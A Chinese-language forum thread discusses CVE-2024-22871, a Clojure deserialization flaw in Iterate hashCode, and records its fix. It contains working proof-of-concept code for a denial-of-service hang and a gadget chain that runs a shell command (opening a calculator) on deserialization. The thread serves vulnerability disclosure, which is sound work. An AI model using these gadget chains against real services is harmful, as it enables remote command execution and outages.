2024 Clojure 状态调查!中分享您的想法。

欢迎!请在 关于页面上获得有关此平台如何工作的更多信息。

+1投票
Clojure
已关闭

报告漏洞

在 org.clojure:clojure 中,存在以下漏洞:
- 拒绝服务攻击(clojure 版本 1.2.0 - 1.12.0)

dos

Command Injection

注意,此漏洞不需要额外的组件。

详细信息
1.12.0-a5 中的 RCE CallGraph
17069252746231706925273707.png

CVE
- CVE-2024-22871

已关闭,注:发布在 Clojure 1.11.2 和 1.12.0-alpha9 中
正如以下讨论中所述,DDoS 攻击可能会影响 1.2.0-1.12.0,而带本地验证的命令执行可能会影响 1.9.0-1.12.0
在我看来,一些当前问题类似于以下情况,但采取了新的绕过方法。


https://clojure.atlassian.net/browse/CLJ-2204

编辑了
我不明白,如果这都是Java的,Clojure与这个问题有什么关系?

更新:我是否理解正确,可以不需要Clojure而仅在Java中实现相同的功能?
没有正确完成,函数调用图部分依赖于Clojure,如apply、RestFn等。在1.9.0-1.12.0版本中(在clojure版本poc中),可以通过访问匿名函数类来获得$fn_5920执行命令。

1 个答案

+3

 
最佳答案

在不受信任的数据上使用ObjectInputStream具有固有的危险性,正如该类本身所说明的。为什么展示该类危险性的例子会被视为提供某些所用类之一的JAR包中的漏洞?

留给未来读者更简单的复制方式。

(let [out (java.io.ByteArrayOutputStream.)
      obj-out (java.io.ObjectOutputStream. out)
      i (iterate identity nil)]
  (doto (-> i (class) (.getSuperclass) (.getDeclaredField "_hash"))
    (.setAccessible true)
    (.set i (int 1)))
  (.writeObject obj-out (java.util.HashMap. {i nil}))
  (println "Writing is done. Reading...")
  (let [in (java.io.ByteArrayInputStream. (.toByteArray out))
        obj-in (java.io.ObjectInputStream. in)]
    (.readObject obj-in)
    (println "Will never be printed.")))
是的,ObjectInputStream确实引入了潜在的安全风险。然而,关于这个特定的漏洞,问题并不在于讨论可能导致安全问题的潜在风险。问题在于,在1.12.0-alpha5版本中,可以构造一个特殊的序列化数据包,这加剧了这些风险的可能性。这可以在不依赖其他依赖项的情况下完成(看起来process$start是一个新引入的函数),并且可以执行命令。反序列化的危害通常取决于项目环境,但这个漏洞不需要其他依赖项,并且是JAR包本身的固有问题。
我明白了。但这与1.12.0-alpha5无关 - 我刚刚添加到答案中的代码可以在1.8.0上运行来重现此行为。经过轻微修改,它可以在1.2.0上运行(但在此之前不能,因为在此之前`clojure.lang.Cons`不可序列化)。
是的,这个漏洞仅影响1.12.0-alpha5版本。我对之前的版本没有做太多分析,并且我悲观地认为它们有其他高风险的反序列化漏洞。
顺便提一下,如果可能的话,希望开发者可以发布CVE,尽管我请求CVE,但我还没有收到回应。
你说是“是”,但写的是与我说的相反 - 该漏洞影响Clojure的从1.2.0开始的所有版本。
真的吗?你们指的是由于这个反序列化引起的命令执行漏洞吗?因为我对Clojure并不是很熟悉,我只从自己的程序分析工具中获得了这个分析结果。
而且,最让我困惑的是core$partial$fn__5920类的生成原理。我使用soot分析了clojure.jar,但我想了解Clojure中core$partial$fn__5920的实际代码。
这个特定类是由`partial`函数的这个arity生成的: https://github.com/clojure/clojure/blob/master/src/clj/clojure/core.clj#L2638
谢谢。由于时差,以后可能难以迅速回复。
by
编辑 by
生成命令执行攻击的另一种方法

```clojure
(ns poc.clojure.command
  (:import (clojure.lang PersistentQueue)
           (java.util HashMap ArrayList))
  (:require clojure.java.process))

(defn set-private-field [obj field-name value]
  (let [field (-> (.getClass obj)
                  (.getDeclaredField field-name))]
    (.setAccessible field true)
    (.set field obj value)))

(defn modify-and-process-model [iterate]
  ;; 创建 PersistentQueue
  (let [model (PersistentQueue/EMPTY)]
    ;; 使用 set-private-field 修改 model
    (set-private-field model "f" iterate)
    ;; 返回修改后的 model
    model))

(defn main []
  ;; 创建 HashMap
  (let [map (HashMap.)
        args ["open" "-a" "calculator"]
        ;; 使用 ns-resolve 获取 start 函数并使用 partial 创建部分应用函数
        fn_start (ns-resolve 'clojure.java.shell 'sh)
        partial-fn (partial apply fn_start)
        ;; 使用 clojure.core/iterate 创建 iterate 实例
        iterate-instance (iterate partial-fn args)]

    (let [model (modify-and-process-model iterate-instance)]
      (set-private-field model "_hash" (int 1))
      (.put map model nil)
      (set-private-field model "_hash" (int 0)))

    ;; 序列化 map
    (let [out (java.io.ByteArrayOutputStream.)
          obj-out (java.io.ObjectOutputStream. out)]
      (.writeObject obj-out map)
      (println "Writing is done. Reading...")

      ;; 反序列化
      (let [in (java.io.ByteArrayInputStream. (.toByteArray out))
            obj-in (java.io.ObjectInputStream. in)]
        (.readObject obj-in)))
    )
  )

  ;; 调用 main 函数
(main)
```
by
请注意,在刚刚设置了 'fn start (ns-resolve 'clojure.java.shell 'sh)' 之后,它会影响到 1.9.0 - 1.12.0 版本,并且可以实现命令执行。
by
我不确定您最后评论的意思。`clojure.java.shell` 命名空间中的 `sh` 函数用于执行命令,因此当然可以用它来运行东西。命令执行机制仍然依赖于 `Iterate` 类实现其哈希的方式。
by
这是因为我之前用了 process $ start,但遗憾的是,这是一个在 1.12.0 中引入的新功能;稍后检查项目,发现可以直接使用 shell 函数来直接运行命令。是的,问题仍然出现在 `Iterate` 类的哈希计算中。
by
这个问题已在 1.11.2 和 1.12.0-alpha9 中的 `Iterate hashCode()` 中修复。
...